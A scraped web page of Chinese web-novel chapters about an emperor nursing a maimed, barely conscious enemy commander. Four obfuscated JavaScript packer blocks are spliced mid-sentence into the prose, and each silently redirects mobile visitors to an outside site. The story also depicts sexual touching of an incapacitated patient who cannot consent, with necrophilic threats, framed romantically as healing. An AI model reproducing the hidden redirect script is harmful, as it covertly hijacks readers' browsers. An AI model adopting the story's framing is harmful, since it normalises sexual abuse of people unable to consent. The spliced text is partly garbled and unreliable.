几天后,齐绍洲翻着最新报告。没有郁危明的刺激,顾远泽的各项指标都稳定了不少。 他鼓励陛下再接再厉、继续正常。 但心里也清楚,三五天不癫已经是陛下的极限,不可能一直不癫。 果然。 几天后,郁危明倒是依旧克制。 可月色透过玻璃,照着他颤抖的双肩。郁危明竟自顾自额头抵着冰冷的床边,无声无息地默默落泪。 隔天,他开始很小声地,一脸委屈和床上的司令官说悄悄话。 指标数据又开始波动。 齐绍洲无奈把郁危明揪出温室,将报告举在他面前:"陛下,今天司令官又应激了,心律不齐持续了四个小时!" “看来您即使只是在他床边,依旧会给他造成很大的精神压力。” “……” 郁危明死死攥着报告,指节因用力而发白:“我都已经那么多天,没有……再碰过他了。” “还不够吗?” “还要我怎么样?” 齐绍洲冷静地扶正眼镜:“为了司令官的身体着想,最好就是暂停接触,陛下是否考虑,先去南边的行宫住半个月?” “不行!” “半个月,他会……忘了我的!” 齐绍洲觉得无端荒谬,刚要反驳。突然花房内医疗仪器的警报尖锐刺破耳膜。 一切都太过突然。 明明那么近,可当齐绍洲冲到床边时,顾远泽已然没了呼吸,监护仪上的绿线拉成一条笔直的死寂。 "不,这怎么可能?" “肾上腺素,还有除颤,快!” 随后就是紧张的抢救,电击让残躯无数次起落,监测仪上的直线依旧冷酷地延伸。第二次、第三次……顾远泽的瞳孔却仍旧不断扩大,黑得像是要吞噬所有的光。 28. 人是勉强救了回来,但状况非常糟糕。 司令官胸膛只在呼吸机的强制运作下机械地起伏,监护仪上数字忽高忽低,瞳孔对光亦反应迟钝。整体情况看起来几近强弩之末,生命体征随时可能彻底崩坏。 “是他……是司令官自己,不想活下来。”齐绍洲喃喃,终于彻底明白,颓然坐下。 主观放弃生命的人,任何努力也很难强行研究。 “危明,我……我真的很抱歉。司令官之前那么多次心脏骤停,不是你过度刺激造成的……” “一直以来,都是他自己在抗拒生存。” 之前的那些伤害毁了他。 病房里安静得可怕,只有监护仪发出规律的"滴——滴——"声。郁危明没有回应齐绍洲的话,只是如一座雕像坐在床边,注视着床上人。 齐绍洲心里难过,默默退了出去。 房内再度安静了很久。郁危明伸出手去,摁掉了所有仪器的电源。 不再有任何蜂鸣,不会再有任何报警。他终于再度抱紧了顾远泽,固执而温柔地收紧双臂,好像这样就能把神明强行留在怀里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612249|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “司令官。” 他还记得他怕吵,因而声音很低。 且这一刻郁危明很清醒,完全不觉得自己发疯。 “顾远泽,活下来好不好。” “你真的甘心,就这么放弃吗?那司令官你这一生,又算什么呢。” “顾远泽,小时候的你,虽是个战争遗孤,却非常积极念书,只为实现长大后去农业卫星上种出无边无际金色麦田的理想。你还记得吗?” “你就不想试一试,你原本该有的人生吗?” “那种住在二层小楼,每天悠闲地踩着点去农研所上班,看着青青麦苗长势喜人。周末就睡到自然醒,去附近的图书馆喝着咖啡看看闲书,去实验室里烤面包、做面点的人生。” “……” “顾远泽,你没能过上那样的人生。因为你被逼着上了战场。” “被迫压抑理想,为守护联邦付出全部。可到头来却被人陷害、冤屈。” “我知道你很痛,很委屈,很恨。” 怀里的身躯僵硬颤抖,或许是难受和抗拒,或许根本也听不懂郁危明的一切自说自话的喃喃。但银发与黑发在枕上无声地交缠,郁危明的指尖还是极轻地抚过司令官身上那些狰狞的伤痕。 "我能看见你身上的每一处伤,知道你受过多少折磨,有多绝望。" “可顾远泽,如果现在死了,你的人生所有记住的、留下的,就只有那些疼痛和伤害。” “可活下来会有别的。” “会有麦田,会有图书馆,会有肉包,会有很多很多你想过的没想过的,美好的东西。总有一天,覆盖那些伤痛。” “……” 修长的手指蹭着起伏的胸膛、腹肌、一路向下。 怀里的人微微张口,急促、艰难地喘息,郁危明不禁想,如果现在心率仪连着,会有多大的轰鸣声呢? 顾远泽现在应激到什么程度。 会有多恐惧,又有多崩溃。也许下一秒就要死了。 可他仍没有停下手上的动作,灰眸压着种种心绪,望向司令官空洞的眼睛。 有一瞬间,郁危明好像跨越时空,与当年战场上的联邦司令官对视。 爱意上涌,无际浮沉。他紧紧搂住司令官的残躯,喘息颤抖着磨动:“顾远泽,舒服吗?” “很舒服对不对?顾远泽,你有意识,是能清楚感觉到的,是不是?” “……” “你看,精神再痛苦崩溃,可身体也会欢愉。司令官以前被人这样服务过吗?也这样快乐过吗?” “你的身体好像很喜欢我。” “司令官,如果实在支撑不下去,就选这一刻死吧。” 他亲吻了他。 蜻蜓点水的吻,稍稍有些泪水的咸涩。 “我放你走。” “太痛苦的话,就选这一刻离开吧。” “但在你死后,我会对你的身体做很多很多坏事。” “我会把司令官做成标本,泡在福尔马林里……把你保存起来,每一天都对你一遍一遍地做这种事。” “我爱你,所以每天都想做。” “别生我的气,好吗?” “……” 等齐绍洲发现所有仪器都被拔了线,一切已经结束了。 花房里,顾远泽安静地躺在疯子皇帝的怀里,像死了一样。 但插上仪器以后,他的心率是平静的。 一直戴在他脖子上的健康检测仪里的数值则显示,他在断电的几个小时内,应该是濒死了很多次。 然而最后,数值却奇迹般地平静了。 特别平静。 甚至之后的日常护理碰触,以及郁危明动不动的强行拥抱,他都只是少许波动。 齐绍洲:“…………” 不是,真能脱敏啊? 8. 第 8 章 29. 齐绍洲除了是医生,也心理学博士。 在他朴素而严谨的学术认知里,像顾远泽这种精神状态一塌糊涂的幸存者,绝不可能没有PTSD。 而被虐待后的创伤,也不太可能被一些外在因素强行突破。 但现实中,阳光透过菱形玻璃格栅在满房白玫瑰的花瓣上点缀了碎金的光。 一大清早,郁危明就缠着司令官亲昵、诱哄。而顾远泽除了稍稍的僵硬外,真就没有必然的负面反应。 齐绍洲:“……” 连带着陛下的精神状态,也日见一日的好。 他变得爱笑。 像是阳光下融化的冰川,灰瞳带着生涩的温度。而司令官的床头,最近也多了一小盆郁郁青青的麦苗。 “我早就说过,联邦最优秀的司令官,绝不可能轻易坏掉。” 郁危明指尖轻轻蹭过茁壮的小盆栽,温和得像是抚摸爱人:“顾远泽是那种……无论在富饶或贫瘠的土壤,都能一次次重新生根发芽的火种。” “……” 花房的自动灌溉启动,水雾在阳光下形成一道小小的彩虹。 几乎整个上午,郁危明都在繁花之中抱着顾远泽赖床,埋头在他胸口依靠了很久很久。 新皇才是真的PTSD。 【说不定他的灵魂,每一秒都在都在绝望尖叫。】 这句话也太伤人了,一度让郁危明陷入深重的自我怀疑。 以至于这几天,新皇有好几次都不遵医嘱、偷偷抱住司令官蜜色的躯体,尽全力伺候、抚慰,只为看清司令官在他怀里身体紧绷、双唇紧闭时,究竟是在抵抗无尽的欢愉,还是只是在绝望地抗拒他。 有没有可能……顾远泽很讨厌被他亲吻和碰触。 而等恢复以后,也会用憎恶和不屑的眼神看他。 郁危明默默失落了很多天。 但几天后,他又想通了——好怪,他为什么要难过。 他又不需要顾远泽爱他。 明明他要的,只是顾远泽永远属于他,就好了。 只要属于他,哪怕厌恶他、恨他也没关系。反正他之所以每天为司令官的康复而无比开心,也只不过是因为“活着的、有反应的”司令官更有趣,仅此而已。 因为只有活着的司令官,才能让他有朝一日给他穿回司令官的制服,压在战舰的指挥室里狠狠地为所欲为。 也只有活着的司令官,才会两颊鼓鼓地吃肉包。而将来,他一定要逼着司令官吃肉包给他看。 但退一万步说,郁危明其实也没那么挑。 空洞的顾远泽、坏掉的顾远泽、泡在福尔马林里的顾远泽,他也一样喜欢。反正他拥有的司令官的视频那么多,足够自给自足一辈子。 一样的,也没有差多少。 30. 可当下一个清晨,当郁危明再次让司令官在他的手中痉挛、颤抖,一切完毕后,去吻司令官的唇时。 一丝微弱到几乎像是错觉的回应,让他的瞳孔骤然收缩。 “……”声音卡在喉咙,整个人不敢置信地僵住。监护仪上司令官的数据并没有必然的波动,倒是新皇那一向冷白的皮肤正以肉眼可见的速度漫上血色。 郁危明手足无措,差点从柔软的纱床上掉下去,又撞翻了床头的小麦苗。 银发慌乱中蹭上了盆栽泥土,他却浑然不觉。 “是真……的吗?” 他喃喃抚摸下唇,心脏疯跳。半晌,才小心翼翼抱住顾远泽,唇再次轻轻贴上去。 这一次,他清晰地感觉到了——一个轻如蝉翼、但明确主动的触碰。 顾远泽干燥的唇瓣轻轻抿了抿他唇,仿佛初生的幼兽第一次试探外界。 新皇狂喜。 …… 那几天是个人都能看出,新皇容光焕发、步伐轻快。 整个人连发梢都流转着莹润的光华,死气沉沉的冷白肌肤也透出玉石般的光泽,眼尾那抹常年不散的阴鸷亦化开了,灰瞳倒映着星河璀璨。 帝国皇室靡艳而美丽的血脉在郁危明身上一夜盛开。新皇的美貌,连议会上最年迈的枢密使都忍不住多看他看两眼。 真的,再怎么是个阴晴不定疯子,也确实不愧是帝国门面,是美丽的。 郁危明最近飘在云端,整个人都多了点慈悲心,甚至对联邦新出台的苛政都稍稍放宽了一些。除此之外,他还去了几次帝国图书馆。 齐绍洲前几天不经意提到过,他在图书馆里翻到了一本很古旧的医书邪典。 说是看了那本书后终于有点明白过来,司令官为什么能在陛下种种折腾下,反而坚定地活了下来。 郁危明也找到了那本书,泛黄的旧纸上记载着:"阳精未竭者,生机不绝;情欲所指处,心魂所系。" 意思似乎是,有□□在,生命就能延续。 “……” 而后面半句的意思则是,□□很大程度上……还能牵动一个人的爱意与灵魂? 真的? 31. 深夜的玻璃花房,被月光浸染。 床头的小麦苗在人工光源下舒展嫩叶,青翠的叶尖凝着细小的露珠。 郁危明静立在床畔,银白的长发垂落。久久注视着沉睡的司令官,总觉得……很多事情都不一样了。 此刻他手指再掠过顾远泽的腰侧,触摸的却好像已不仅仅是蜜色的肌肤。而是更深处的、属于司令官的部分灵魂。 欲念真的能……牵动爱意吗? 银发缓缓,扫过司令官的锁骨。亲吻之前,指尖亦先缓缓摩挲司耳畔。 月下顾远泽的喉结明显地滚动,劲瘦的腰身在他的轻抚下也开始不受控地轻颤,微微弓起,像是本能地迎合。 郁危明有一瞬间的屏息凝神。 本能的反应骗不了人。就算司令官讨厌他,可司令官的身体……已然成了最诚实的叛徒。 那如果,再多一点呢? 月光如水,花影摇曳。如果,再多一点碰触,再多一点侵占。 是不是终有一日,就连爱意也有机会捕获。 甚至能碰触……他的灵魂。 …… 新皇正在经历一种前所未有的感受。 明明对于顾远泽,他至今仍时刻怀抱无尽晦涩的欲念。那些私藏的影像至今没有删除,深夜的旖旎梦境,也常常还是荼蘼玫瑰香中拥抱盒中濒死的司令官。 可那样的欲念却又似乎渐渐的……被进化成了一种更纯净、更轻盈,更柔暖的东西。 他现在变得更愿意在花房柔和的灯光下,小心翼翼地环住顾远泽的腰身。将脸埋在他肩窝嗅着淡淡的药香,絮絮叨叨说一些琐碎的话。 议会上的新鲜事,或者花园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612250|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里新开的玫瑰花。一些小时候的趣事。 也会克制地表达爱意,蜻蜓点水地亲吻。 甚至渐渐认真觉得……话语也是爱欲的一部分。 因为,如果欲望真能牵动灵魂。如果他每一次的侍奉与爱抚,都是灵魂上与司令官的一场翻云覆雨。 那此刻他在司令官耳边的每一句低语,是不是……也可以是彼此灵魂上的厮磨缠绵? 郁危明闭上眼睛。 只是这么想着,就浑身微颤、几近达到极乐。 32. 郁危明现在好喜欢每天亲吻司令官。 自从第一次得到回吻后,每一次与司令官的唇齿相触,也都能得到回应。 唇瓣的依依碾磨,让人简直不敢相信的幸福。 郁危明是真不知道奇迹是怎么就这样突然降临,难免忍不住各种胡思乱想。 ——难道司令官其实也喜欢我? ——难道也是……一见钟情。只是碍于立场,才对所有信息已读不回? 终于有一天在亲吻和拥抚中,他忍不住轻声问出这个问题。 回应他的是片刻静默,继而是更为激烈的回吻。 顾远泽似乎用尽了全身的力气,甚至带了几分难耐的凶狠,尝试用牙齿咬他的唇。 郁危明受宠若惊、努力回应,结果却是吻着吻着生生抵抗不住败下阵来,喘息着躲开。 “顾远泽,我爱你。” 他垂眸,眼眶滚烫,紧紧抱住顾远泽。 把脸埋进他的颈窝,像是要把这一刻的温度刻进骨髓。 日子一天天过去,随着司令官的身体和精神状况越发稳定,齐绍洲为其设定的治疗方案也进入了新的阶段。 “用上新药以后,司令官各方面的感官水平都会加速恢复。这样早点养好将身体,为后续四肢和眼睛的手术做准备。” 新药用了几天后,郁危明终于意识到——司令官对他的回应,并不是“回吻”。 而是反抗,是咬。 只不过彼时顾远泽太虚弱。就连用尽全力的啃咬,在新皇的感觉里也只不过是酥酥麻麻的舔舐。 郁危明:“呵……” 司令官只是没有力气,不然得一次次狠狠咬死他。 但不知道为什么,这一刻涌入心间的不是失落,而只有无尽温柔。银白的长发随着嗤笑的抖动滑落一床,在司令官颈侧铺开一片凉滑的星河。 “哈……哈哈。”细吻又落在了略微干燥的唇畔。 “给你咬,来,再咬重点。” 郁危明低笑,摩挲着、故意把手指往对方齿间送。灰眸里跃动着前所未有的光彩:“又咬不动,气死了对不对?” “对,就这样咬,使点劲儿。” “顾远泽,你是不是没吃饭啊?”他大笑,鼻尖与司令官紧紧相贴,“哦,你确实很久没吃饭了。” 阳光透过玻璃花房洒落,为这场单方面的较量镀上温柔的光晕。郁危明像个顽劣的少年,整个人鲜活又生机勃勃。 “说起来,司令官再不试着吃点饭,进食功能都要退化了。” “明天想不想试着喝点粥?” “……” 齐绍洲翻了翻最近司令官的各项指标。 只看数据的话,堪称是医学奇迹! 司令官这生命力强得很。不仅死不了,甚至极有活力。 9. 第 9 章 33. 花房外是一大片碧蓝的、无穷无尽的人工海。 海浪轻拍礁石,灯塔光束穿透薄雾。几艘护卫的巡逻船的白帆点缀海面。 郁危明兀自倚着栏杆,看了一会儿海。 帝国腐朽,但仍存岁月静好的余晖。至少比起已经沦为焦土的联邦,还有华丽威严的宫殿、繁荣的商业街区,飘荡着咖啡与玫瑰香气的平和生活。 但这样的平静,能否继续维持…… 海风拂乱银发,郁危明眯起眼睛。很难得地,他在思考一些称得上正经的东西。 曾经的帝国皇太子并不是他。他本有机会远离争端,拿上足够逍遥一生的财富远走高飞,对日薄西山、堕入泥潭帝国的视而不见。 为什么没有那样做? 一切只因为……他的那几个兄弟,太过无能! 这个世上最荒谬的事,就是明明也不想留下收拾烂摊子,却又清楚知道自己未必能够力挽狂澜,但让一切落在其他人手中,帝国更会立马彻底完蛋。 某种意义上,郁危明真的能和司令官完全共情—— 都是眼睁睁看着理想被现实啃噬,却又被迫挺直脊梁,演完几近注定悲剧的戏码。现在司令官已经走完了英雄的末路,他呢? 海鸟鸣叫盘旋。 郁危明回首,望向玻璃花房。 这些年来他一直在思索,如何才能不再重复悲剧的宿命? 是不是如果,他能拥有更铁腕的手段,或是拥有更强劲的支持,更值得信任战友,更忠诚的追随者……但还是不够。 他还需要一个,能与他真正并肩的同行者—— 在他迷茫时,做他最坚固的后盾与启明星。 在他被无情的帝国机器碾压、于暗礁中即将粉身碎骨时,如长明的灯塔一般照亮归途。 34. 郁危明自从登上王座的那一天起,就做好了觉悟。 他可以是史书中毁誉参半的暴君,可以沦为濒临疯掉的恶龙。 可权力会腐蚀理智,孤独会豢养迷失。恶龙最终如若不想彻底失控,总得有什么人能拴得住他。 那位龙骑士必须温柔到包容他的偏执与暴戾,又能强大到不会被他的疯狂所毁伤。要能与他势均力敌、并肩所向披靡,又要能穿越深渊,一次次救他与火海。 还要纯粹到极致。 因为郁危明太了解自己,如果察觉到丝毫算计和背叛的苗头,他一定先咬死对方。 可去哪里找一个这样的存在? 郁危明一直以为世界上不可能有那样的人,直到他在战场上,看到不慕名利,强大又温柔的联邦司令官。 在宇宙群星之中,他看到了属于他的灯塔。 35. 看完海后,郁危明回了花房。 逗人一时爽,逗完火葬场。 自从被“你咬啊哈哈哈你咬不动”以后,司令官对新皇的态度就呈一种十级冷漠、懒得搭理的状态。 偶尔把新皇逼急了,也会恶狠狠把人摁床上用力亲、肆意抚弄?但司令官也懒得再“回吻”他。 对此郁危明甚感悲愤。 一度,他干脆破罐破摔。反正司令官的凶恶反抗对他而言不过是小动物的舔舐,他干脆不管不顾,每天猛猛把人一路亲到窒息。 可为所欲为几天以后,他又默默蔫了。 最终还是屈尊降贵、低声下气地努力道歉、诱哄。 “不许生气了,现在给你用的那些药,都是为将来身体和手术做准备的。只有放平心情,药效才好吸收,才能早点通过精神评估、准备手术。” “别怕,帝国的技术很先进,最好的仿生义肢全部和神经连接,适应后和天生的一模一样。” “保证你能看见、听见,重新站起来。” “……” “到时候,顾远泽,你就可以自由去做任何想做的事。” “你会在帝国拥有全新的身份。愿意退休隐居也好,或去农业星做小麦研究员也行。到时送你一栋两层小房子,一辆皮实的越野车,帝国的图书馆永久对你开放。” “你知道吗?帝国藏了好多古籍孤本,都是在联邦看不到的。” 郁危明低语说出这些诱哄时,还不忘偷偷将掌心覆在司令官的胸膛。 那心脏温暖跳动,偶尔会在他提及某些美好事物时,微微轻悸一下。 可见司令官不是毫无心动,但司令官依旧不理人。 郁危明不肯轻易放弃,很快又有了新的点子。 …… 十年战争刚开始那几年,边境管控还不像后来那么严格。一些想要躲避战火的联邦平民,在那时就早早选择了移民到帝国与联邦之间的中立浮游州。 后来浮游州和平归顺帝国,郁危明扒拉出了顾远泽大学时的好室友裴英乾。 这人目前在浮游州农研所负责花卉培育项目。突然被帝国皇帝召见,十分诚惶诚恐。 传闻新皇疯癫,喜怒无常。 但裴英乾真的见到皇帝时,只深深被他的美貌震惊了。他本以为皇帝的照片和视频肯定经过美化,没想到真人居然真长那样,俊美得完全失真! ……其人优雅和气,并不是传闻中那样。 郁危明一见面,就二话不说批给了花卉实验室整整十年的科研经费,问题也很直接:“顾远泽平时喜欢什么?” “……” 裴英乾举家移民前,曾问过室友要不要一起走。可惜那时顾远泽已经是“奇迹的大逃亡”的联邦舰长,军方不肯放人。 后来很多年,裴英乾在浮游州种花,曾经的室友一步步变成联邦的英雄司令官。 他为他的荣耀开心,也为曾经的顾远泽难过。 后来顾远泽死于人尽皆知的无耻构陷。 而裴英乾能为他做的,只是在浮游州组织了几次小范围的纪念活动。还因此被帝国警方上门警告过。 36. “顾远泽喜欢看书、下沙盘棋,喜欢新鲜的麦子、卷心菜、玉米、豌豆……一切地里能种出来的作物。” 裴英乾回忆着,当年的一幕幕再度清晰。 他的室友温和懒散,得过且过,常常会在下雨天翘课,用衣服蒙着头躲在被子里懒洋洋地睡上一天。 也会因为看不惯联邦那些高高在上的无耻权贵、虚伪政客,对他们不自量力激化矛盾挑起的战争的行径甚觉荒谬,而在私下里说一些军校生不该说的大实话。 在被警告几次和威胁退学后,他从此一门心思埋头种田。 顾远泽热爱种田。学校的卫星田实验室特别大,裴英乾始终记得顾远泽抱着硕大的茄子笑容灿烂,眼里有光的模样。 裴英乾说了已故的司令官一堆事无巨细的琐屑旧事,皇帝全程很耐心地听,还时不时在通讯仪上同步记录。 末了,皇帝表情略微古怪:“那,除了田里的东西,他还喜欢什么?” “……” “他还喜欢小动物吧,隔壁畜牧系养的兔子,山羊,还有学校里的猫狗,他都很喜欢。” 可惜顾远泽天生没有招猫逗狗的体质,小动物总不肯给他摸。所以后来他的习惯,就变成了远远的观察。 顾远泽看花、看树,看鸟、看天空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612251|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用眼睛做生活记录。 他还说过将来想去看动物迁徙,可惜当年军校近没有草原,只有一片蔚蓝大海。 所以他又学会了潜泳。常常潜进海里,看珊瑚、看鱼群、看海葵和贝壳。 裴英乾对于新皇的问题,渐渐产生了一点迷惑——因为新皇居然继续问他,有没有什么顾远泽喜欢的东西,可以送做礼物。 他甚至偏过脸去,咳了一声:“总不能,真送他几颗茄子,卷心菜,或者一头羊。” 裴英乾:“……” “顾远泽念书时,很喜欢收集海洋贝类。” “他还说过,将来要有一整个书架,放满漂亮的鹦鹉螺、贝壳和珊瑚……” 裴英乾说这话时,心跳狠狠加剧。 皇帝的问题,让他渐渐有了一种隐隐不切实际的希望,却又不敢向高高在上的陛下求证。 因为也许,陛下特意来问这些,不过是想在敌军司令官的墓前放下一件表达敬意的礼物。 直到陛下走时,突然回眸。微微笑了笑,手指放在唇间做了一个噤声的动作。 裴英乾愣住,然后在皇帝走后,大哭了一场。 37. 这是郁危明第一次拿到鹦鹉螺。 螺壳的曲线是一种一丝不苟、工业设计般的完美,摸起来最上等的丝绸还要柔滑,在阳光下又流转着不可思议的斑斓光泽,像是把整个海洋的蓝都锁在了钙质层里。 身在帝王家,他见过太多精致美丽的工艺品,此刻也不得不感叹大自然造物的精巧。 新药很有效,顾远泽的感官成功恢复了不少。 新皇远远玻璃花房被推开的细微的响动,都能让他身体紧绷。 而紧绷随着熟悉的脚步声的靠近,又渐渐放松了下来。 这让郁危明默默心情很好——司令官的身体,永远特别诚实。 “我给你带了礼物。” “你的大学室友裴英乾,还记得么?他说你喜欢这个。” 精巧美丽的海螺壳,轻轻贴在顾远泽耳畔。 人们总说,从螺壳里听到“海浪的声音”,其实根据科学,那不过是环境噪音在螺壳内共振放大的结果。 但顾远泽好像很爱听。 郁危明分明看到,司令官无意识地偏了偏头,更加贴近那枚海螺。纯黑干净的瞳微微睁着,仍找不到任何焦点。但某个瞬间,郁危明从他的表情里,仿佛看到了一片联邦蔚蓝无垠的深海。 郁危明:“……” 突然又想吻他了。 新皇真的用了全部的克制力,才只轻轻摩挲了他的脸颊,指尖在受伤脆弱的眼角蹭了蹭。 随即下移,隔着薄薄的毯子,放在略微凹陷的顾远泽上腹。 “你的室友还说,你上学时什么都爱吃,来者不拒,而且很能吃。” “所以,只是讨厌我喂你,是吗?” “……” “司令官,如果你中午肯乖乖吃一点粥,我下次就给你找全帝国最漂亮的鹦鹉螺和万宝螺,好不好?” 司令官虽然现在清醒的时间越来越多,但身体仍旧虚弱,听了一会儿海浪声就又变得很倦很累。 郁危明心口一片酸软:“累就睡一会儿,我不走,午饭时再叫醒你。” 顾远泽闭上眼睛,好像在满园的鲜花中再度陷入沉眠。 但忽然,他又吃力地、艰难地张开苍白的唇,微弱气流哽在喉管里的声音。 “嗯。” 一点点声音,花了他好多力气。 但这确实是司令官来到帝国以后,第一次给了郁危明明确的应答。 10. 第 10 章 38. 正午的阳光透过玻璃顶,将瓷碗里的米粥映得晶莹剔透。银匙轻轻搅动,热气在光线下氤氲成雾。 顾远泽已经醒了。 他最近常安静地躺在床上,半睁着空洞的眸,不知在想什么。 郁危明有时忍不住会想,司令官当年在战舰上思考那些千奇百怪的战略时,是不是也总这样深沉又神秘。 “顾远泽,那天医生告诉我,你现在其实还处于精神修复阶段,没办法一下接受太复杂的外界信息。” 修长白皙的手指轻抚黑发,流连抚摸到司令官的唇,轻轻撬开。 “也就是说,这些日子我对你说的话、做的事,司令官其实……只能理解其中一部分。” 这样也好。 真的,郁危明垂眸。被他亲一亲都要反抗的人,如果哪天彻底反应过来,他们早就有了更亲密的行为。 早就有了无数次亲吻,缠绵,被他哄着抱在怀里难受着颤抖。 如果完全清醒,司令官怕是会想弄死他。 勺子很小,一点点清淡米粥也完全熬得化开。郁危明自己先尝了一点,温度刚好,不烫。 “来,就吃两口。” 银匙把几滴米粥以最顺滑的角度喂入口中,司令官没能成功吞咽。 “顾远泽,吞下去。” 青年睫毛在阳光下颤动,喉结艰难滚动。郁危明眸色暗了暗,修长的手指帮他蹭去唇角溢出的米汤。 “乖,再试试,我帮你。” 他说着搂紧怀中人,薄唇覆上,温热的米浆渡过去,舌尖抵住对方僵硬的上颚轻轻一顶。顾远泽浑身剧烈一滞,喉结在皇帝不断的摩挲下终于滑动了一下,被逼着生理性地吞咽了那口粥。 "学会了吗?"郁危明喘息着拉开距离,却又忍不住再次低头,重重碾过那湿润的唇。 司令官永远那么好亲。 沾了米香就更甜。不够,想一直亲。 "还不会的话,下一口我就用……更慢的方式教你。" 假如此刻齐绍洲在旁边,多半又要说他造孽。 司令官还没完全康复,精神和身体都还破碎,却还要一天到晚遭受皇帝肆无忌惮的种种亵玩。当然了,郁危明今天刚开始喂饭时,真的没有任何主观亵玩司令官的意图。 可现在却不同了。 现在他满脑子想着的,只有含着一口米汤,把人吻得不成样子。让那一口粥混着涎水弄得浑身都是,好满足自己一些变态的阴暗私欲。 39. 最后,一顿饭吃了两个小时。 吃得司令官心律不齐、浑身发抖,吃力地张着口疲倦力竭地痉挛着喘息,残破的躯体一身狼藉和薄汗。 皇帝还好意思笑:“司令官真棒,终于学会吞东西了。” 随即,他又意犹未尽地抱着那几乎被刺激得彻底坏掉的身体,用心安抚了好一会儿,才又拿来了热毛巾。 一点点清理、擦拭。 司令官似乎很享受热毛巾的抚慰。郁危明见状,干脆弄了一条新的,直接包裹他整个残躯。 顾远泽浑身剧烈颤抖,扬起一截脆弱的脖颈。 他还发不出特别长的音节,只能狠狠咬牙,无声惊喘。 “喜欢吗?” “很舒适对不对?” 那真是第一次司令官用尽全身的力量,疯了一样想咬死他。可惜在郁危明的肩膀咬了半天,仍旧只有个浅浅牙印。 “哈……” 屈辱的、崩溃的,愤怒又生动司令官,让郁危明心里无比柔软。 他柔声哄他:“是舒服得超过生理上限,所以反而生气了?” “没关系,以后就习惯了。” “跟我在一起,以后还会有很多超出你认知的生理快感。” “啊,好凶。” “明明司令官之前在庭审席上时,都没有那么凶呢?” …… 郁危明最近又看了几遍司令官的庭审片。 他是为了一些晦涩的内容才去看的。可看得次数多了,也不得不注意到一些之外的部分。 他发现只有第一次、第二次庭审时,司令官尽力为自身和舰队的清白而战,对于一切构陷和指控,一一做出了不卑不亢、据理力争的辩驳。 而后面那些冗长的、无穷无尽的庭审,顾远泽则是全程在被告席上戴着电子镣铐,局外人一般看着那些或咆哮、或咒骂、或狂欢、或癫狂的热闹嘴脸,仿佛他也仅仅只是个来围观这场荒诞剧的观众。 甚至偶尔,还会自顾自打个盹。 而等到几百次冗长而无聊的质询终于结束,对方问他"被告还有什么要陈述的吗?"时,司令官更是直接打了个哈欠,一脸“没什么可说的,一切快点结束吧”的敷衍表情。 那个表情最近郁危明挺常见的。 他突然觉得,他有点抓到司令官的性格规律了。 40. 齐绍洲最近的心路历程,就是眼前一黑一黑又一黑。 他是怎么想的,能允许神经病陛下去给病人喂饭? 又是怎么能允许神经病陛下去给病人洗澡的? 还允许神经病陛下每天对着病人疯狂絮絮叨叨、发疯发癫、恶魔低语……医德在那里,底线又在哪里!? 狗皇帝每一天倒是兴高采烈、容光焕发。 “绍洲你看,司令官现在都能吃半碗了。” 齐绍洲:“……” 不能! 这才几天,他还不能吃那么多!!!然而喂已经喂完了,帝国的疯太阳还不忘捧起顾远泽的脸亲了一口:“宝贝真棒!” 果然那天下午,顾远泽吐了一回。 “对不起,对不起……我不是故意的,”郁危明心疼死了,给他揉胃时银灰色的眸子里翻涌着自责,“对不起,对不起……” 他看起来几乎要哭了,照顾了顾远泽整整一夜。 温热的掌心一直在司令官紧绷的腹部轻轻揉着,动作怜惜又克制。 齐绍洲以为他从此能消停两天。 可结果第二天皇帝还是坚持亲自喂饭。只是这次变得无比小心,精准计算几小勺,喂完又温柔地帮他揉了好久的胃。 第三天,顾远泽好了。 郁危明又迫不及待给他换上新睡衣——专门定制的好几件,各种蓬松的绒面,甚至有些小动物造型。他用那些衣服紧紧包裹司令官,心满意足地抱进怀里。 齐绍洲:“…………” 最近,司令官的脸上,多少能让人看出点情绪。 那种情绪叫求生不得求死不能,叫算了累了一切毁灭吧。 齐绍洲觉得这怪不了司令官,换谁谁都得是这种心情。 41.< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612252|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 